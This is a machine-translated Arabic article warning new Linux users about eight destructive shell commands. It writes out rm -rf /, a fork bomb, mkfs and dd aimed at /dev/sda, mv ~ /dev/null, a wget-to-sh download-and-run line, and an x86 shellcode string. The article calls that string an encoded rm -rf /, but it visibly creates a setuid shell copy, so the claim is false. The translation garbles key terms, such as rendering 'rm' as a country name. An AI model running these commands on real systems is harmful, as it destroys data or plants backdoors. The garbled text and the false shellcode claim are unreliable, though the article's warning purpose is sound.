8 أوامر قاتلة يجب عليك ألا تعمل على لينكس
الأوامر الطرفية لنظام لينكس قوية ، ولن يطلب منك Linux تأكيدًا إذا قمت بتشغيل أمر سيؤدي إلى قطع النظام الخاص بك. ليس من غير المألوف رؤية المتصيدون عبر الإنترنت يوصون مستخدمي Linux الجدد بتشغيل هذه الأوامر على سبيل المزاح.
يمكن أن يساعد تعلم الأوامر التي لا يجب عليك تشغيلها في حمايتك من المتصيدون بينما يزيد من فهمك لكيفية عمل Linux. هذا ليس دليلاً شاملاً ، ويمكن إعادة ترتيب الأوامر هنا بطرق متنوعة.
لاحظ أن العديد من هذه الأوامر لن تكون خطيرة إلا إذا كانت مسبوقة سودو على أوبونتو - لن يعملوا بطريقة أخرى. في توزيعات Linux الأخرى ، يجب تشغيل معظم الأوامر كجذر.
صورة الائتمان: جمجمة وعظمتين متقاطعتين من جايسون فورد على تويتر
rm -rf / - حذف كل شيء!
الامر rm -rf / يحذف كل شيء ممكن ، بما في ذلك الملفات الموجودة على القرص الصلب والملفات على أجهزة الوسائط القابلة للإزالة المتصلة. هذا الأمر أكثر قابلية للفهم إذا تم تقسيمه:
جمهورية مقدونيا - قم بإزالة الملفات التالية.
-الترددات اللاسلكية - قم بتشغيل rm بشكل متكرر (قم بحذف جميع الملفات والمجلدات داخل المجلد المحدد) وقم بإزالة كافة الملفات دون مطالبتك.
/ - يخبر rm للبدء في الدليل الجذر ، والذي يحتوي على جميع الملفات الموجودة على جهاز الكمبيوتر الخاص بك وجميع أجهزة الوسائط المحملة ، بما في ذلك مشاركات الملفات عن بعد ومحركات الأقراص القابلة للإزالة.
ستلتزم لينكس بحسن القيادة بهذا الأمر وتحذف كل شيء دون مطالبتك ، لذا كن حذرًا عند استخدامه! يمكن أيضًا استخدام الأمر rm بطرق خطيرة أخرى - rm -rf ~ من شأنه أن يحذف جميع الملفات في مجلد منزلك ، في حين rm -rf. * سيحذف جميع ملفات التهيئة الخاصة بك.
الدرس: احذر rm -rf.
تمويه rm -rf /
إليك مقتطف شفرة آخر موجود في جميع أنحاء الويب:
char esp [] __attribute__ ((section (". text"))) / * e.s.p
إطلاق سراح */
= "\ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68”
"\ XFF \ XFF \ XFF \ XFF \ X68 \ XDF \ xd0 \ XDF \ xd9 \ X68 \ x8d \ x99"
"\ XDF \ x81 \ X68 \ x8d \ x92 \ XDF \ xd2 \ X54 \ x5e \ xf7 \ x16 و\ xf7"
"\ x56 \ X04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
"\ x8d \ X73 \ x08 \ x56 \ X53 \ X54 \ x59 \ xb0 \ x0b \ XCD \ X80 \ X31"
"\ xc0 \ X40 \ xeb \ xf9 \ xe8 \ XBD \ XFF \ XFF \ XFF \ x2f \ x62 \ x69"
"\ x6e \ x2f \ X73 \ X68 \ x00 \ x2d \ x63 \ x00"
"cp -p / bin / sh /tmp/.beyond؛ chmod 4755
/tmp/.beyond. ".
هذه هي النسخة العشرية من rm -rf / - تنفيذ هذا الأمر من شأنه أن يمحو ملفاتك كما لو كنت قد قمت بتشغيل rm -rf /.
الدرس: لا تقم بتشغيل أوامر غريبة المظهر بوضوح ، مقنعة لا تفهمها.
: () : |: & ؛: - قنبلة شوكة
السطر التالي هو وظيفة bash بسيطة المظهر ولكنها خطيرة:
: () : |: & ؛::
يحدد هذا السطر القصير وظيفة shell التي تنشئ نسخًا جديدة من نفسها. تتكرر العملية باستمرار ، وتعيد نسخها نسخها باستمرار باستمرار ، بسرعة تستهلك كل وقت وحدة المعالجة المركزية والذاكرة. هذا يمكن أن يسبب تجميد الكمبيوتر الخاص بك. انها في الاساس هجوم الحرمان من الخدمة.
الدرس: وظائف باش هي قوية ، حتى قصيرة جدا.
Image Credit: Dake على ويكيميديا كومنز
mkfs.ext4 / dev / sda1 - لتنسيق القرص الصلب
ال mkfs.ext4 / dev / sda1 الأمر سهل الفهم:
mkfs.ext4 - قم بإنشاء نظام ملفات ext4 جديد على الجهاز التالي.
/ ديف / sda1 - يحدد القسم الأول على القرص الصلب الأول ، والذي ربما يكون قيد الاستخدام.
مع أخذ هذا الأمر معًا ، يمكن أن يكون هذا الأمر مساويًا لتشغيل التنسيق c: في Windows - سيمسح الملفات على القسم الأول ويستبدلها بنظام ملفات جديد.
يمكن أن يأتي هذا الأمر في أشكال أخرى كذلك - mkfs.ext3 / dev / sdb2 تنسيق القسم الثاني على القرص الصلب الثاني مع نظام الملفات ext3.
الدرس: احذر تشغيل الأوامر مباشرة على أجهزة القرص الصلب التي تبدأ بـ / dev / sd.
الأمر> / dev / sda - يكتب مباشرة إلى محرك أقراص ثابت
ال الأمر> / dev / sda يعمل الخط بشكل مشابه - يقوم بتشغيل أمر وإرسال ناتج هذا الأمر مباشرة إلى محرك الأقراص الثابت الأول ، وكتابة البيانات مباشرة إلى محرك الأقراص الثابتة وإلحاق الضرر بنظام الملفات الخاص بك.
أمر - قم بتشغيل الأمر (يمكن أن يكون أي أمر.)
> - إرسال إخراج الأمر إلى الموقع التالي.
/ ديف / حزب العمل الديمقراطي - اكتب إخراج الأمر مباشرة إلى جهاز القرص الثابت.
الدرس: كما هو مذكور أعلاه ، احذر تشغيل الأوامر التي تتضمن أجهزة الأقراص الثابتة التي تبدأ بـ / dev / sd.
dd if = / dev / random of = / dev / sda - Writes Junk Onto a Hard Drive
ال dd if = / dev / random of = / dev / sda سيقوم الخط أيضًا بإلغاء البيانات الموجودة على أحد محركات الأقراص الثابتة.
دد - قم بإجراء النسخ على مستوى منخفض من موقع إلى آخر.
إذا = / ديف / عشوائي - استخدم / dev / random (بيانات عشوائية) كمدخل - قد ترى أيضًا مواقع مثل / dev / zero (الأصفار).
من = / ديف / حزب العمل الديمقراطي - الإخراج إلى القرص الثابت الأول ، استبدال نظام الملفات الخاص به مع البيانات العشوائية عشوائي.
الدرس: تنسخ بيانات dd من موقع إلى آخر ، مما قد يشكل خطرًا إذا كنت تنسخ مباشرةً إلى جهاز.
صورة الائتمان: مات Rudge على Flickr
mv ~ / dev / null - ينقل دليل منزلك إلى الثقب الأسود
/ dev / null موقع آخر خاص - نقل شيء ما إلى / dev / null هو الشيء نفسه كتدميره. فكر في / dev / null كثقب أسود. بشكل أساسي, م ~ / ديف / لاغية يرسل كل ملفاتك الشخصية في الثقب الأسود.
ام - نقل الملف أو الدليل التالي إلى موقع آخر.
~ - يمثل المجلد الرئيسي بأكمله.
/ ديف / لاغية - قم بنقل مجلد المنزل إلى / dev / null ، وقم بتدمير جميع ملفاتك وحذف النسخ الأصلية.
الدرس: يمثل الحرف ~ المجلد الرئيسي وتحريك الأشياء إلى / dev / null يدمرها.
wget http://example.com/something -O - | sh - التنزيلات وتشغيل Script
يقوم السطر أعلاه بتنزيل برنامج نصي من الويب وإرساله إلى sh ، والذي ينفذ محتويات البرنامج النصي. قد يكون هذا خطيرًا إذا لم تكن متأكدًا من النص أو إذا كنت لا تثق بمصدره - فلا تقم بتشغيل البرامج النصية غير الموثوقة.
مجلد مشترك - تحميل ملف. (قد ترى أيضا حليقة في مكان wget.)
http://example.com/something - قم بتنزيل الملف من هذا الموقع.
| - أنبوب (إرسال) إخراج الأمر wget (الملف الذي قمت بتنزيله) مباشرة إلى أمر آخر.
ش - أرسل الملف إلى أمر sh ، الذي ينفذه إذا كان نصيًا bash.
الدرس: لا تقم بتنزيل وتشغيل البرامج النصية غير الموثوقة من الويب ، حتى باستخدام أمر.
هل تعرف أي أوامر خطرة أخرى يجب ألا يعمل بها مستخدمو Linux الجدد (وذوي الخبرة)؟ ترك تعليق ومشاركتها!